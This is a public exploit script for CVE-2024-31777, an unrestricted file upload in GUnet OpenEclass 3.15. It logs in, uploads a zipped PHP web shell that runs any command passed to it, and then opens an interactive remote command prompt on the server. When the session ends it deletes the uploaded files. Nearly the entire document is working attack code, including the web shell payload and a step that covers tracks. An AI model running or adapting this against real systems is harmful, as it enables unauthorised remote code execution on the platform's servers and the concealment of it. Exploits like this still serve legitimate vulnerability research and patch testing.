GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php Unrestricted File Upload - CVE-2024-31777

# Exploit Title: GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php' Unrestricted File Upload
# Date: 2024-02-04
# Exploit Author: Georgios Tsimpidas
# Vendor Homepage: https://www.openeclass.org/
# Software Link: https://download.openeclass.org/files/3.15/
# Version: 3.15 (2024)
# Tested on: Debian Kali (Apache/2.4.57, PHP 8.2.12, MySQL 15.1)
# CVE : CVE-2024-31777
# GUnet OpenEclass <= 3.15 E-learning platform - Unrestricted File

import requests
import argparse
import zipfile
import os
import sys

RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RESET = '\033[0m'
ORANGE = '\033[38;5;208m'

MALICIOUS_PAYLOAD = """\
<?php

if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        die;
}

?>
"""

def banner():
    print(f'''{RED}
{YELLOW}
 ============================ Author: Frey ============================
{RESET}''')

def execute_command(openeclass, filename):
    while True:
        # Prompt for user input with "eclass"
        cmd = input(f"{RED}[{YELLOW}eClass{RED}]~# {RESET}")

        # Check if the command is 'quit', then break the loop
        if cmd.lower() == "quit":
            print(f"{ORANGE}\nExiting...{RESET}")
            clean_server(openeclass)
            sys.exit()

        # Construct the URL with the user-provided command
        url = f"{openeclass}/courses/user_progress_data/cert_templates/{filename}?cmd={cmd}"

        # Execute the GET request
        try:
            response = requests.get(url)

            # Check if the request was successful
            if response.status_code == 200:
                # Print the response text
                print(f"{GREEN}{response.text}{RESET}")

        except requests.exceptions.RequestException as e:
            # Print any error that occurs during the request
            print(f"{RED}An error occurred: {e}{RESET}")

def upload_web_shell(openeclass, username, password):
    login_url = f'{openeclass}/?login_page=1'
    login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'

    # Login credentials
    payload = {
        'next': '/main/portfolio.php',
        'uname': f'{username}',
        'pass': f'{password}',
        'submit': 'Enter'
    }

    headers = {
        'Referer': login_page_url,
    }

    # Use a session to ensure cookies are handled correctly
    with requests.Session() as session:
        # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
        session.get(login_page_url)

        # Post the login credentials
        response = session.post(login_url, headers=headers, data=payload)

        # Create a zip file containing the malicious payload
        zip_file_path = 'malicious_payload.zip'
        with zipfile.ZipFile(zip_file_path, 'w') as zipf:
            zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())

        # Upload the zip file
        url = f'{openeclass}/modules/admin/certbadge.php?action=add_cert'
        files = {
            'filename': ('evil.zip', open(zip_file_path, 'rb'), 'application/zip'),
            'certhtmlfile': (None, ''),
            'orientation': (None, 'L'),
            'description': (None, ''),
            'cert_id': (None, ''),
            'submit_cert_template': (None, '')
        }
        response = session.post(url, files=files)

        # Clean up the zip file
        os.remove(zip_file_path)

        # Check if the upload was successful
        if response.status_code == 200:
            print(f"{GREEN}Payload uploaded successfully!{RESET}")
            return True
        else:
            print(f"{RED}Failed to upload payload. Exiting...{RESET}")
            return False

def clean_server(openeclass):
    print(f"{ORANGE}Cleaning server...{RESET}")
    # Remove the uploaded files
    requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.zip")
    requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.php")
    print(f"{GREEN}Server cleaned successfully!{RESET}")

def main():
    parser = argparse.ArgumentParser(description="Open eClass – CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution")
    parser.add_argument('-u', '--username', required=True, help="Username for login")
    parser.add_argument('-p', '--password', required=True, help="Password for login")
    parser.add_argument('-e', '--eclass', required=True, help="Base URL of the Open eClass")
    args = parser.parse_args()

    banner()
    # Running the main login and execute command function
    if upload_web_shell(args.eclass, args.username, args.password):
        execute_command(args.eclass, 'evil.php')

if __name__ == "__main__":
    main()